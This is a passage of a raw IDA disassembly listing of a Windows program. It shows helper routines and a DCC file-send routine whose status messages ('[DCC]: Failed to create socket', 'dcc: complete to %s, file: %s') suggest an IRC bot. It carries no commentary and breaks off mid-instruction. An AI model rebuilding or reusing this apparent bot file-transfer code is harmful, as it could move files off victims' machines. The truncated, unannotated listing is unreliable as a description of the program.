lea ecx, [esp+2Ch] mov edi, eax mov dword ptr [esp+64h], 0FFFFFFFFh call sub_401226 test edi, edi jz loc_40BC78 push edi lea ecx, [esp+18h] call sub_4014D3 mov ebx, 2 push 1 push offset asc_444600 ; " " lea eax, [esp+4Ch] push ebx push eax mov ecx, esi mov [esp+74h], ebx call sub_4011EA push eax push edi mov ecx, ebp mov byte ptr [esp+6Ch], 3 call sub_401F50 lea ecx, [esp+44h] mov [esp+64h], bl call sub_401226 lea ecx, [esp+14h] call sub_4017EE push eax mov ecx, edi call sub_4017EE push eax lea ecx, [edi+1Eh] call sub_4017EE push eax push offset aSSWasS ; "%s = \"%s\" [was \"%s\"]" lea ecx, [esi+69h] call sub_4014DD mov cl, [esi+94h] mov dl, [esi+93h] push eax push ecx push edx push offset byte_4D8085 call sub_401857 add esp, 20h lea ecx, [esp+14h] mov dword ptr [esp+64h], 0FFFFFFFFh call sub_401226 mov al, 1 jmp short loc_40BC7A ; --------------------------------------------------------------------------- loc_40BC78: ; CODE XREF: ___:0040BB40j ; ___:0040BB97j ... xor al, al loc_40BC7A: ; CODE XREF: ___:0040BAEDj ; ___:0040BB80j ... mov ecx, [esp+5Ch] pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 58h retn 4 ; --------------------------------------------------------------------------- db 90h db 0C0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40BD50 proc near ; CODE XREF: sub_401C08j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push 0 mov cl, [eax] push 0 mov [esi], cl mov ecx, esi call sub_4021EE sub_40BD50 endp ; --------------------------------------------------------------------------- mov [esi+4], eax mov dword ptr [esi+8], 0 mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40BD90 proc near ; CODE XREF: sub_40155Fj var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 sub esp, 0Ch lea eax, [esp+0Ch+var_C] push esi mov esi, ecx push eax call sub_401C85 mov ecx, [eax] lea edx, [esp+10h+var_8] push ecx push edx mov ecx, esi call sub_40145B mov eax, [eax] lea ecx, [esp+14h+var_4] push eax push ecx mov ecx, esi call sub_40124E mov edx, [esi+4] mov ecx, esi push edx call sub_401FEB sub_40BD90 endp ; --------------------------------------------------------------------------- xor eax, eax mov [esi+4], eax mov [esi+8], eax pop esi add esp, 0Ch retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40BE00 proc near ; CODE XREF: sub_40145Bj var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [ecx+4] push eax call sub_402117 mov ecx, [eax] add esp, 4 push ecx lea ecx, [esp+8+var_4] call sub_4014B0 mov edx, [eax] mov eax, [esp+4+arg_0] mov [eax], edx pop ecx retn 4 sub_40BE00 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40BE40 proc near ; CODE XREF: sub_401C85j var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [ecx+4] lea ecx, [esp+4+var_4] push eax call sub_4014B0 mov ecx, [eax] mov eax, [esp+4+arg_0] mov [eax], ecx pop ecx retn 4 sub_40BE40 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40BE70 proc near ; CODE XREF: sub_401915j var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [esp+4+arg_0] push esi mov esi, ecx push eax lea ecx, [esp+0Ch+arg_0] push ecx mov ecx, esi call sub_401C85 mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_401C5D sub_40BE70 endp ; --------------------------------------------------------------------------- pop esi pop ecx retn 4 ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40BEB0 proc near ; CODE XREF: sub_401C03j var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 sub esp, 0Ch lea eax, [esp+0Ch+var_C] push esi mov esi, ecx push eax call sub_401C85 mov ecx, [eax] lea edx, [esp+10h+var_8] push ecx push edx mov ecx, esi call sub_40145B mov eax, [eax] lea ecx, [esp+14h+var_4] push eax push ecx mov ecx, esi call sub_40124E pop esi add esp, 0Ch retn sub_40BEB0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40BF00 proc near ; CODE XREF: sub_401546j push esi mov esi, ecx call sub_402158 mov eax, esi pop esi retn sub_40BF00 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40BF20 proc near ; CODE XREF: sub_401F78j mov eax, [ecx] push eax call sub_401848 add esp, 4 retn sub_40BF20 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40BF40 proc near ; CODE XREF: sub_40133Ej push esi mov esi, ecx mov eax, [esi] push eax call sub_402117 mov ecx, [eax] add esp, 4 mov [esi], ecx mov eax, esi pop esi retn sub_40BF40 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40BF70 proc near ; CODE XREF: sub_40136Bj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_401CFD neg al sbb eax, eax inc eax retn 4 sub_40BF70 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40BFA0 proc near ; CODE XREF: sub_401C5Dj arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = dword ptr 0Ch push ebx push esi mov esi, ecx push edi lea ecx, [esp+0Ch+arg_4] call sub_4016AE mov edi, eax push edi call sub_40215D mov eax, [eax] add esp, 4 mov ecx, esi push eax push edi call sub_4021EE sub_40BFA0 endp ; --------------------------------------------------------------------------- push edi mov ebx, eax call sub_40215D push edi mov [eax], ebx call sub_40215D mov edi, [eax] push edi call sub_40215D mov ecx, [eax] push ecx call sub_402117 mov edx, [esp+28h] add esp, 10h mov [eax], edi push edx push edi call sub_401848 add esp, 4 mov ecx, esi push eax call sub_401F32 mov ecx, [esi+8] push edi inc ecx mov [esi+8], ecx lea ecx, [esp+1Ch] call sub_4014B0 mov ecx, [eax] mov eax, [esp+10h] pop edi pop esi mov [eax], ecx pop ebx retn 0Ch ; --------------------------------------------------------------------------- db 2 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40C040 proc near ; CODE XREF: sub_40124Ej var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch sub esp, 8 lea eax, [esp+8+arg_8] push esi mov esi, ecx push eax lea ecx, [esp+10h+arg_4] call sub_40136B test al, al jz short loc_40C09A loc_40C058: ; CODE XREF: sub_40C040+47j lea ecx, [esp+0Ch+var_8] push 0 push ecx lea ecx, [esp+14h+arg_4] call sub_401B9A mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_40106E ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch+arg_8] push ecx lea ecx, [esp+10h+arg_4] call sub_40136B test al, al jnz short loc_40C058 mov eax, [esp+0Ch+arg_0] mov edx, [esp+0Ch+arg_4] pop esi mov [eax], edx add esp, 8 retn 0Ch ; --------------------------------------------------------------------------- loc_40C09A: ; CODE XREF: sub_40C040+16j mov eax, [esp+0Ch+arg_0] mov ecx, [esp+0Ch+arg_4] pop esi mov [eax], ecx add esp, 8 retn 0Ch sub_40C040 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40C0D0 proc near ; CODE XREF: sub_4021EEj arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi push 0Ch call sub_401569 sub_40C0D0 endp ; --------------------------------------------------------------------------- mov edi, [esp+0Ch] mov esi, eax test edi, edi jnz short loc_40C0E5 mov edi, esi loc_40C0E5: ; CODE XREF: ___:0040C0E1j push esi call sub_402117 mov [eax], edi mov edi, [esp+14h] add esp, 4 test edi, edi jnz short loc_40C0FA mov edi, esi loc_40C0FA: ; CODE XREF: ___:0040C0F6j push esi call sub_40215D add esp, 4 mov [eax], edi mov eax, esi pop edi pop esi retn 8 ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40C120 proc near ; CODE XREF: sub_401FEBj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 1 push eax call sub_402077 sub_40C120 endp ; --------------------------------------------------------------------------- retn 4 ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40C140 proc near ; CODE XREF: sub_402117j arg_0 = dword ptr 4 mov eax, [esp+arg_0] retn sub_40C140 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40C160 proc near ; CODE XREF: sub_401848j arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 8 retn sub_40C160 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40C180 proc near ; CODE XREF: sub_402158j mov eax, ecx retn sub_40C180 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40C1A0 proc near ; CODE XREF: sub_4014B0j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push eax call sub_40105A mov eax, esi pop esi retn 4 sub_40C1A0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40C1D0 proc near ; CODE XREF: sub_401CFDj arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov eax, [ecx] push esi xor ecx, ecx mov esi, [edx] cmp eax, esi pop esi setz cl mov al, cl retn 4 sub_40C1D0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40C200 proc near ; CODE XREF: sub_40106Ej var_4 = byte ptr -4 arg_4 = byte ptr 8 push ecx push ebx push esi push edi mov edi, ecx lea eax, [esp+10h+var_4] push 0 push eax lea ecx, [esp+18h+arg_4] call sub_401B9A mov ecx, eax call sub_4016AE mov esi, eax push esi call sub_402117 push esi mov ebx, eax call sub_40215D mov ecx, [eax] push ecx call sub_402117 mov edx, [ebx] push esi mov [eax], edx call sub_40215D push esi mov ebx, eax call sub_402117 mov eax, [eax] push eax call sub_40215D mov ecx, [ebx] push esi mov [eax], ecx call sub_401848 add esp, 1Ch mov ecx, edi push eax call sub_401221 push esi mov ecx, edi call sub_401FEB sub_40C200 endp ; --------------------------------------------------------------------------- mov eax, [edi+8] mov edx, [esp+18h] dec eax mov [edi+8], eax mov eax, [esp+14h] pop edi pop esi mov [eax], edx pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40C2C0 proc near ; CODE XREF: sub_40215Dj arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 4 retn sub_40C2C0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40C2E0 proc near ; CODE XREF: sub_401569j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_401D2A sub_40C2E0 endp ; --------------------------------------------------------------------------- add esp, 8 retn 4 ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40C310 proc near ; CODE XREF: sub_402077j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_437AD2 sub_40C310 endp ; --------------------------------------------------------------------------- pop ecx retn 8 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40C330 proc near ; CODE XREF: sub_401F32j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push eax push ecx call sub_4011AE add esp, 8 retn 8 sub_40C330 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40C360 proc near ; CODE XREF: sub_40105Aj arg_0 = dword ptr 4 mov eax, ecx mov ecx, [esp+arg_0] mov [eax], ecx retn 4 sub_40C360 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40C380 proc near ; CODE XREF: sub_4016AEj mov eax, [ecx] retn sub_40C380 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40C3A0 proc near ; CODE XREF: sub_401B9Aj arg_0 = dword ptr 4 push esi mov esi, [ecx] call sub_40133E mov eax, [esp+4+arg_0] mov [eax], esi pop esi retn 8 sub_40C3A0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40C3D0 proc near ; CODE XREF: sub_401221j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call j_nullsub_2 pop ecx retn 4 sub_40C3D0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40C3F0 proc near ; CODE XREF: sub_4011AEj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push eax push 4 call sub_4011CC add esp, 8 test eax, eax jz short locret_40C40B mov ecx, [esp+arg_4] mov edx, [ecx] mov [eax], edx locret_40C40B: ; CODE XREF: sub_40C3F0+11j retn sub_40C3F0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND] db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40C440 proc near ; CODE XREF: sub_401BF9j var_24 = byte ptr -24h var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_40C440 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push esi push 0 push 4 push 0Eh push 5 push 13h push 4Fh push 3 push 3 lea eax, [esp+48h+var_24] push 4 mov esi, ecx push eax call sub_4019C4 add esp, 28h push esi mov ecx, eax mov [esp+2Ch+var_4], 0 call sub_40168B add esi, 4 push eax push esi mov ecx, offset dword_449128 call sub_40159B sub_40C440 endp ; --------------------------------------------------------------------------- lea ecx, [esp+4] mov dword ptr [esp+24h], 0FFFFFFFFh call sub_401226 mov ecx, [esp+1Ch] pop esi mov large fs:0, ecx add esp, 24h retn ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40C4E0 proc near ; CODE XREF: sub_40171Cj var_AB4 = dword ptr -0AB4h var_AAC = dword ptr -0AACh var_AA8 = dword ptr -0AA8h var_AA4 = dword ptr -0AA4h var_AA0 = dword ptr -0AA0h var_A9C = byte ptr -0A9Ch var_A98 = byte ptr -0A98h var_A94 = dword ptr -0A94h var_A90 = dword ptr -0A90h var_A8C = dword ptr -0A8Ch var_A88 = dword ptr -0A88h var_A84 = dword ptr -0A84h var_A78 = byte ptr -0A78h var_A74 = dword ptr -0A74h var_A70 = byte ptr -0A70h var_A6C = byte ptr -0A6Ch var_A5C = byte ptr -0A5Ch var_A54 = byte ptr -0A54h var_A3C = byte ptr -0A3Ch var_A38 = byte ptr -0A38h var_A24 = byte ptr -0A24h var_A1C = dword ptr -0A1Ch var_A18 = dword ptr -0A18h var_910 = byte ptr -910h var_710 = byte ptr -710h var_510 = byte ptr -510h var_40C = byte ptr -40Ch var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_40C4E0 push eax mov large fs:0, esp sub esp, 0AA0h add ecx, 4 push ebx push ebp push esi push edi call sub_4014DD mov ebp, [esp+0ABCh+arg_0] push eax lea ecx, [ebp+7Eh] call sub_4012EE test eax, eax jnz loc_40CA2E lea ecx, [esp+0ABCh+var_A78] call sub_401091 push 1 push offset asc_444600 ; " " lea eax, [esp+0AC4h+var_A3C] xor esi, esi push 1 push eax mov ecx, ebp mov [esp+0ACCh+var_4], esi call sub_4011EA push eax lea ecx, [esp+0AC0h+var_A70] mov byte ptr [esp+0AC0h+var_4], 1 call sub_40202C lea ecx, [esp+0ABCh+var_A3C] mov byte ptr [esp+0ABCh+var_4], 0 call sub_401226 push esi push 1 push 2 mov [esp+0AC8h+var_AA8], esi mov [esp+0AC8h+var_AA4], esi mov [esp+0AC8h+var_A90], esi nop call near ptr 71AB3B91h mov ebx, eax cmp ebx, 0FFFFFFFFh mov [esp+0ABCh+var_AAC], ebx jnz short loc_40C5AC lea ecx, [esp+0ABCh+var_710] push offset aDccFailedToCre ; "[DCC]: Failed to create socket." push ecx call near ptr word_5F67AE nop add esp, 8 jmp loc_40C9D5 ; --------------------------------------------------------------------------- loc_40C5AC: ; CODE XREF: sub_40C4E0+AFj xor edx, edx push esi mov [esp+0AC0h+var_AA0], edx mov word ptr [esp+0AC0h+var_AA0], 2 mov dword ptr [esp+0AC0h+var_A9C], edx mov dword ptr [esp+0AC0h+var_A98], edx mov [esp+0AC0h+var_A94], edx nop call near ptr 71AB2B66h mov word ptr [esp+0ABCh+var_AA0+2], ax lea eax, [esp+0ABCh+var_AA0] push 10h push eax push ebx mov dword ptr [esp+0AC8h+var_A9C], esi call near ptr 71AB3E00h nop test eax, eax jz short loc_40C5FA lea ecx, [ebp+69h] call sub_4014DD push eax push offset aDccFailedToBin ; "dcc: failed to bind socket" jmp loc_40C6A0 ; --------------------------------------------------------------------------- loc_40C5FA: ; CODE XREF: sub_40C4E0+105j lea eax, [esp+0ABCh+var_A88] lea ecx, [esp+0ABCh+var_AA0] push eax push ecx push ebx mov [esp+0AC8h+var_A88], 10h call near ptr 71AB951Eh nop mov edx, [esp+0ABCh+var_AA0+2] push edx nop call near ptr 71AB2B66h lea ecx, [esp+0ABCh+var_A70] mov [esp+0ABCh+var_A8C], eax call sub_4014DD mov edi, eax or ecx, 0FFFFFFFFh xor eax, eax lea edx, [esp+0ABCh+var_910] repne scasb not ecx sub edi, ecx mov eax, ecx mov esi, edi mov edi, edx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 xor edx, edx rep movsb loc_40C653: ; CODE XREF: sub_40C4E0+1A3j mov al, [esp+edx+0ABCh+var_910] cmp al, 20h jnz short loc_40C665 mov eax, 5Fh jmp short loc_40C668 ; --------------------------------------------------------------------------- loc_40C665: ; CODE XREF: sub_40C4E0+17Cj movsx eax, al loc_40C668: ; CODE XREF: sub_40C4E0+183j mov [esp+edx+0ABCh+var_510], al lea edi, [esp+0ABCh+var_910] or ecx, 0FFFFFFFFh xor eax, eax inc edx repne scasb not ecx dec ecx cmp edx, ecx jbe short loc_40C653 push 1 push ebx nop call near ptr 71AB88D3h test eax, eax jz short loc_40C6BD lea ecx, [ebp+69h] call sub_4014DD push eax push offset aDccFailedToOpe ; "dcc: failed to open socket" loc_40C6A0: ; CODE XREF: sub_40C4E0+115j mov cl, [ebp+94h] mov dl, [ebp+93h] push ecx push edx mov ecx, offset byte_4D8085 call sub_401118 jmp loc_40C9CF ; --------------------------------------------------------------------------- loc_40C6BD: ; CODE XREF: sub_40C4E0+1B0j push 0 push 0 push 3 push 0 push 1 push 80000000h lea ecx, [esp+0AD4h+var_A70] call sub_4017EE push eax nop call near ptr 286033Ah mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_40C724 lea ecx, [ebp+69h] call sub_4014DD mov cl, [ebp+93h] push eax mov al, [ebp+94h] push offset aDccFileDoesnTE ; "dcc: file doesn't exist" push eax push ecx mov ecx, offset byte_4D8085 call sub_401118 lea edx, [esp+0ABCh+var_710] push offset aDccFileDoesn_0 ; "[DCC]: File doesn't exist." push edx nop call near ptr word_5F67AE add esp, 8 jmp loc_40C9CF ; --------------------------------------------------------------------------- loc_40C724: ; CODE XREF: sub_40C4E0+201j push 0 push esi call near ptr 2860000h nop lea ecx, [esp+0ABCh+var_A54] mov ebx, eax call sub_40142E mov eax, [esp+0ABCh+var_A8C] push ebx and eax, 0FFFFh mov byte ptr [esp+0AC0h+var_4], 2 push eax mov eax, dword_4D809D push eax call sub_401E10 add esp, 4 push eax nop call near ptr 71AB2BF4h push eax nop call near ptr 71AB2BC0h push eax lea ecx, [esp+0AD0h+var_A78] call sub_4017EE push eax lea ecx, [esp+0AD4h+var_A5C] push offset dword_444A18 push ecx call sub_40102D add esp, 18h lea ecx, [ebp+15h] call sub_40168B push eax lea ecx, [esp+0AC8h+var_A5C] call sub_4014DD mov dl, [ebp+94h] push eax mov al, [ebp+93h] push edx push eax mov ecx, offset byte_4D8085 call sub_401118 mov edi, [esp+0AC4h+var_AB4] lea ecx, [esp+0AC4h+var_A88] push ecx push 0 lea edx, [esp+0ACCh+var_A1C] push 0 push edx push 0 mov [esp+0AD8h+var_A88], 3Ch mov [esp+0AD8h+var_A84], 0 mov [esp+0AD8h+var_A18], edi mov [esp+0AD8h+var_A1C], 1 nop call near ptr 71AB2DC0h test eax, eax jg short loc_40C81D lea ecx, [ebp+69h] call sub_4014DD mov cl, [ebp+93h] push eax mov al, [ebp+94h] push offset aDccTimeout ; "dcc: timeout" push eax push ecx mov ecx, offset byte_4D8085 call sub_401118 jmp loc_40C9BA ; --------------------------------------------------------------------------- loc_40C81D: ; CODE XREF: sub_40C4E0+310j lea edx, [esp+0ABCh+var_A84] lea eax, [esp+0ABCh+var_A24] push edx push eax push edi mov [esp+0AC8h+var_A84], 10h call near ptr 71AC1028h nop cmp eax, 0FFFFFFFFh mov [esp+0ABCh+var_A74], eax jnz short loc_40C86D lea ecx, [ebp+69h] call sub_4014DD mov cl, [ebp+94h] mov dl, [ebp+93h] push eax push offset aDccUnableToOpe ; "dcc: unable to open socket" push ecx push edx mov ecx, offset byte_4D8085 call sub_401118 jmp loc_40C9BA ; --------------------------------------------------------------------------- loc_40C86D: ; CODE XREF: sub_40C4E0+360j push edi call near ptr 71AB9639h nop test ebx, ebx jz loc_40C925 loc_40C87C: ; CODE XREF: sub_40C4E0+438j mov ebp, 400h cmp ebx, ebp jge short loc_40C887 mov ebp, ebx loc_40C887: ; CODE XREF: sub_40C4E0+3A3j mov edx, ebx xor eax, eax neg edx push 2 mov ecx, 100h lea edi, [esp+0AC0h+var_40C] push eax push edx push esi rep stosd nop call near ptr 2850000h lea eax, [esp+0ABCh+var_A90] push 0 push eax lea ecx, [esp+0AC4h+var_40C] push ebp push ecx push esi nop call near ptr 2840BDDh mov eax, [esp+0ABCh+var_A74] push 0 lea edx, [esp+0AC0h+var_40C] push ebp push edx push eax call near ptr 71AB428Ah nop mov ecx, [esp+0ABCh+var_AA8] mov ebp, [esp+0ABCh+var_AA4] mov edi, eax push 0 cdq add ecx, eax push 400h mov [esp+0AC4h+var_AA8], ecx lea ecx, [esp+0AC4h+var_40C] adc ebp, edx mov edx, [esp+0AC4h+var_A74] push ecx push edx mov [esp+0ACCh+var_AA4], ebp nop call near ptr 71AB615Ah cmp eax, 1 jl loc_40C9EE cmp edi, 1 jl loc_40C9EE sub ebx, edi jnz loc_40C87C mov ebp, [esp+0ABCh+arg_0] loc_40C925: ; CODE XREF: sub_40C4E0+396j push esi nop call near ptr 284070Bh lea ecx, [esp+0AB8h+var_A38] call sub_40142E mov eax, [esp+0AB8h+var_AA0] mov ecx, [esp+0AB8h+var_AA4] push eax push ecx lea ecx, [esp+0AC0h+var_A6C] mov byte ptr [esp+0AC0h], 3 call sub_4014DD mov edx, [esp+0AC0h+var_A1C] push eax push edx nop call near ptr 71AB3F41h push eax lea eax, [esp+0ACCh+var_A3C] push offset aDccCompleteToS ; "dcc: complete to %s, file: %s, (%d byte"... push eax call sub_40102D add esp, 18h lea ecx, [ebp+69h] call sub_4014DD push eax lea ecx, [esp+0AC0h+var_A3C] call sub_4014DD mov cl, [ebp+94h] mov dl, [ebp+93h] push eax push ecx push edx mov ecx, offset byte_4D8085 call sub_401118 lea ecx, [esp+0ABCh+var_A3C] mov byte ptr [esp+0ABCh+var_4], 2 call sub_401226 loc_40C9BA: ; CODE XREF: sub_40C4E0+338j ; sub_40C4E0+388j lea ecx, [esp+0ABCh+var_A54] mov byte ptr [esp+0ABCh+var_4], 0 call sub_401226 mov ebx, [esp+0ABCh+var_AAC] loc_40C9CF: ; CODE XREF: sub_40C4E0+1D8j ; sub_40C4E0+23Fj xor esi, esi cmp ebx, esi jbe short loc_40C9DC loc_40C9D5: ; CODE XREF: sub_40C4E0+C7j push ebx nop call near ptr 71AB9639h loc_40C9DC: ; CODE XREF: sub_40C4E0+4F3j mov eax, [esp+0ABCh+var_A74] push eax nop call near ptr 71AB9639h push esi nop call near ptr 2840000h loc_40C9EE: ; CODE XREF: sub_40C4E0+427j ; sub_40C4E0+430j mov esi, [esp+0ABCh+arg_0] lea ecx, [esi+69h] call sub_4014DD mov cl, [esi+93h] push eax mov al, [esi+94h] push offset aDccSocketError ; "dcc: socket error" push eax push ecx mov ecx, offset byte_4D8085 call sub_401118 mov edx, [esp+0ABCh+var_A74] push edx nop call near ptr 71AB9639h push 1 nop call near ptr 2840000h loc_40CA2E: ; CODE XREF: sub_40C4E0+39j mov ecx, [esp+0ABCh+var_C] pop edi pop esi pop ebp xor al, al pop ebx mov large fs:0, ecx add esp, 0AACh retn 4 sub_40C4E0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 160h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40CBB0 proc near ; CODE XREF: sub_401091j push esi mov esi, ecx lea ecx, [esi+8] call sub_40142E mov eax, esi pop esi retn sub_40CBB0 endp ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_40CBD0: ; CODE XREF: ___:loc_401B13j add ecx, 8 jmp sub_401226 ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40CBF0 proc near ; CODE XREF: sub_402063j var_24 = byte ptr -24h var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_40CBF0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push esi push 0 push 5 push 0Ch push 9 lea eax, [esp+38h+var_24] push 6 mov esi, ecx push eax call sub_4019C4 add esp, 18h push esi mov ecx, eax mov [esp+2Ch+var_4], 0 call sub_4017EE add esi, 4 push eax push esi mov ecx, offset dword_449128 call sub_40159B sub_40CBF0 endp ; --------------------------------------------------------------------------- lea ecx, [esp+4] mov dword ptr [esp+24h], 0FFFFFFFFh call sub_401226 mov ecx, [esp+1Ch] pop esi mov large fs:0, ecx add esp, 24h retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40CC90 proc near ; CODE XREF: sub_401BB8j var_279 = byte ptr -279h var_278 = byte ptr -278h var_260 = dword ptr -260h var_25C = dword ptr -25Ch var_258 = byte ptr -258h var_247 = byte ptr -247h var_232 = byte ptr -232h var_221 = dword ptr -221h var_21D = dword ptr -21Dh var_219 = dword ptr -219h var_215 = dword ptr -215h var_211 = dword ptr -211h var_20C = byte ptr -20Ch var_208 = byte ptr -208h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_40CC90 push eax mov large fs:0, esp sub esp, 270h add ecx, 4 push esi call sub_4014DD mov esi, [esp+280h+arg_0] push eax lea ecx, [esi+7Eh] call sub_4012EE test eax, eax jnz loc_40CE91 push ebx lea ecx, [esp+284h+var_260] call sub_40199C lea eax, [esi+2Ah] xor ebx, ebx push eax lea ecx, [esp+288h+var_25C] mov [esp+288h+var_4], ebx mov [esp+288h+var_260], ebx call sub_40202C push 1 push offset asc_444600 ; " " lea ecx, [esp+28Ch+var_278] push 2 push ecx mov ecx, esi call sub_4011EA mov ecx, eax mov byte ptr [esp+284h+var_4], 1 call sub_4017EE push eax lea ecx, [esp+288h+var_247] call sub_401A9B lea ecx, [esp+284h+var_278] mov byte ptr [esp+284h+var_4], bl call sub_401226 push 1 push offset asc_444600 ; " " lea edx, [esp+28Ch+var_278] push 3 push edx mov ecx, esi call sub_4011EA mov ecx, eax mov byte ptr [esp+284h+var_4], 2 call sub_4017EE push eax lea ecx, [esp+288h+var_232] call sub_401A9B lea ecx, [esp+284h+var_278] mov byte ptr [esp+284h+var_4], bl call sub_401226 mov edx, [esp+284h+var_221] xor eax, eax mov al, [esi+94h] xor ecx, ecx mov cl, [esi+93h] mov [esp+284h+var_219], eax lea eax, [esp+284h+var_278] mov [esp+284h+var_215], ecx push edx push eax lea ecx, [esp+28Ch+var_232] mov [esp+28Ch+var_21D], ebx mov [esp+28Ch+var_211], 1 call sub_401E47 push offset asc_444AEC ; "\\" mov 